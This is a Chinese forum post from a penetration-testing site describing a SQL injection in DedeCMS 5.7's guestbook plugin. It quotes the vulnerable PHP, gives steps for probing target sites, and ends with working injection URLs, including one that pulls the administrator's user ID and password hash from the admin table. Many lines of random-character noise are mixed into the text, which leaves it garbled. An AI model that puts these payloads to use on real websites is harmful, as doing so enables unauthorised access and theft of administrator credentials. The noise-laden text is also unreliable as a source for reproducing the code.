中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
, Z: R& g! z) G' n+ S, Q* b' T
* O: f: W- H0 C0 T" j _1 }2 D
漏洞文件edit.inc.php具体代码:
' g1 p8 I0 Q1 [
0 B; R. O: ]- V* q+ A( Q3 V8 V1 r
< ?php
$ u. e6 F. F. r5 R
1 q! O+ ?9 \! u. f7 o
if(!defined('DEDEINC')) exit('Request Error!');
+ K4 ? h+ w1 W1 j- C4 [7 @- Z7 W
- Y+ U0 k5 x, Y; g: j( b
! i9 t) _3 n* Y, I8 M* }
& a6 R$ ^; h" i% n3 s0 X
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
8 }% o+ Y2 s1 S8 |# p
6 l/ q# b8 E/ x4 A; \. h8 E, a
else $GUEST_BOOK_POS = "guestbook.php";
7 L8 O+ V; A! c% z2 ]0 Y" U3 l
# z( `4 U% P' [. t8 c
! p* |9 @6 Z$ f F! d
' t9 M, I% T t* c
$id = intval($id);
( I) D8 h6 u; h- a$ n( q
3 t4 B, p9 z8 ^/ C U0 P
if(empty($job)) $job='view';
6 d9 f6 q/ t' S( o& c: P( K* Z
9 v! t- g5 c/ [4 J. d2 n: J
) p9 O+ u" q7 {6 p" \
9 ?5 c) {! j( X& m; d
if($job=='del' && $g_isadmin)
( [$ Q% M+ ^/ m3 k9 z6 k" U
' i% l9 C3 @) E. D* M; _( [9 i
{
1 p% ^1 |+ [2 l. M7 |
6 M$ B2 d& H/ k9 n4 ]2 o, X1 s! S
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
+ K& x( f. O" [+ z6 P' j& \
+ _ k# T) f$ R" R Y: F0 b
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
& k, @) L0 R* S! m* p( k
( t6 E4 b u" b: m( C
exit();
6 r* H+ Y) Z) g$ `7 l3 m
; G. w6 Q) S- i% G( X9 q% X- D
}
* {$ i2 \1 P0 A1 M. e5 P t
0 e( t# k0 U4 X, d0 u% E% K% A
else if($job=='check' && $g_isadmin)
; H; J+ P0 a! Y" D
9 P7 e; k4 u. ~+ b2 u
{
8 ~1 o# d9 q" x* p
. h' X5 j& Q0 o! _' B
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
r: c1 ?+ ]/ M+ `( K7 u8 a* }& H
; U% Y- T6 E F
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
) F/ O7 ?; e! p9 r3 x7 g# G
' l3 i8 \2 P4 z3 R, a+ ~/ z
exit();
8 q+ D6 h9 Q6 w+ P- V7 W# Z
4 ]9 s5 V v( z8 C% f
}
& z3 V% C. b& ]6 Y) B. R, a
5 O; z, z# x- l {( {9 V1 `$ L
else if($job=='editok')
4 R3 _3 {5 U" }+ ?& J/ z: @3 y1 @
) h q1 I: n$ [+ R( X
{
/ U8 {2 h% c G. z
+ h3 m: R& l* W5 C9 I0 r Y4 w
$remsg = trim($remsg);
8 a# W k2 s% B9 k
+ [6 [; b3 \6 F' V: c& @% v
if($remsg!='')
2 ~9 J- S5 g( Z$ p0 _
% X: e' Z+ _ k0 q% Y# v
{
" @3 O3 q; I Q9 [% Z- C
7 k7 a/ J% b& d3 j8 |, n" M) q
//管理员回复不过滤HTML By:Errorera blog:errs.cc
. \# X9 G4 B: y" c: c
2 o P% A+ @2 q5 _4 P
if($g_isadmin)
J ?% t; a# q' c4 o# w6 j
. Y( p- L; i) C; v% O% d
{
; g: w6 o; K; b2 d" l/ z& u e
8 z; l3 `& m) s
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
) o1 A$ w( X+ ^
{9 ]9 U( _8 l- d8 Z
//$remsg <br /><font color=red>管理员回复:</font> }
+ K3 ?$ l: C/ P( V1 x/ l( z
8 y9 k! q% `3 a6 L
else
/ `( {" ]+ q' t( ]1 x
4 G3 \ |( G f, T: Y/ z& j
{
& I3 {" K$ O }# g; X$ v) J/ t( Z. `
$ H4 p1 M/ j, \! F8 \
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
7 ? }+ }" S' h
8 r+ Z! [! N1 ^1 ]; H- q7 W0 }
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
9 N ~5 f, ~: d
! ^- N2 e! P" a6 t' ]8 V6 F# D) B: Y
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
1 X$ D/ d: S8 a# `& h
" l1 S1 ~& n% e$ G
$msg = $oldmsg.$remsg;
" `, q- r* J! t* Q# o3 q
1 p0 Z9 ?6 v4 D* o' g S" o
}
) P, U$ i2 t! Q2 V3 u6 e* z
& O: b3 s: O! O9 O6 ^+ M, _
}
a. r/ l5 V6 y7 a0 a" ~- d" N; c
% L" I3 @; w8 N; a# G- c
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
1 c. G+ ~% I3 C$ A
, ^% \% B4 w! e( y
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
2 m" v! \! T7 t/ w' [) x, _( Q) D
6 M0 f5 ~; _- ?
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
1 N4 I) E$ s, d+ u0 E
2 r1 B/ _! W: c" M" B3 u
exit();
+ ^3 \* e4 r) K8 M, y+ s; s
7 a% {6 z n7 ~2 `
}
) _7 c; v/ `9 g. Z
L* T6 J( D5 C- ]5 D
//home:
www.errs.cc
- \$ d! T, n% P r
( H/ u7 ^$ O* z
if($g_isadmin)
5 c+ g: e$ |# g0 j
1 J' ]4 ^0 p; s4 ]9 P9 h
{
4 s' f7 _) g! y: }9 l7 W
' F% G5 h' _5 {7 R0 u" c" f
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
1 V7 x! I. ~7 m6 T+ G3 c
7 u8 y i& q e% @) E% @; M' A
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
' h0 }+ ^9 G+ d8 }# V
: n# f# }9 [5 X! j
}
7 r: W+ f% K8 M
0 [$ n$ K) f8 v- s" n7 f
else
3 a# y6 ]' D7 o5 f
; K1 K( T. u) Y: k+ i$ d
{
* O8 ]1 p2 a' l2 k1 t s/ l
5 Z4 ^1 h5 y- D) U; O$ H' O) {
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
/ B0 r; ` l" |) W2 v0 O
, e# b5 w4 [; m- ?5 k
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
1 [% s- a" B& T- Y8 s5 S
" b: |4 v6 J4 x# a
} 漏洞成功需要条件:
6 y4 x: D. m m' k7 Y
1. php magic_quotes_gpc=off
' Q0 z. P- Z5 l+ d. K, N5 m/ N$ a. N# u
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
7 l0 Z+ E3 U, w$ Z( b0 q! z5 p
7 ?; J! u$ G# m& o- v* B
怎么判断是否存在漏洞:
8 f! ~! g8 J# _0 {% m
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
6 ^, r, d' F- a9 W6 E g; }) e/ s
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
6 h; s" G, h0 D/ T8 Z* e" E, ]3 o7 |
访问:
: r S6 l- D8 P# ~2 J" F, H. y" F
5 d3 s# L, w6 p# e" N
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
: I" ]% J% i% D% m( K% j3 f
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
5 W2 z1 L4 l* g% O1 s) V9 }, \
7 A6 e( P8 C7 g& M- S4 A) _6 X
' z# I; C/ W8 Q! V
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
! x! B, B5 s" D* a" H# i1 l
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
, R2 |* S/ Y" f: X
那么再次访问
' C9 y" i j5 _9 Z" i% g7 G- `
7 C( h" `' f# q+ o5 H/ f% m
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 T* S! P& A+ A7 g2 N( S! Y
) {5 ]7 m) W! |! I1 I
大概利用就是这样,大家有兴趣的多研究下!!
6 G* s) W1 v$ O2 \1 n& k
) ?# K% Q1 r) k" A+ Z1 p2 c1 U# V
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
( D! H+ [2 T! b0 W" r& M9 z
/ l& u7 t: [+ n2 {7 [5 ^
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2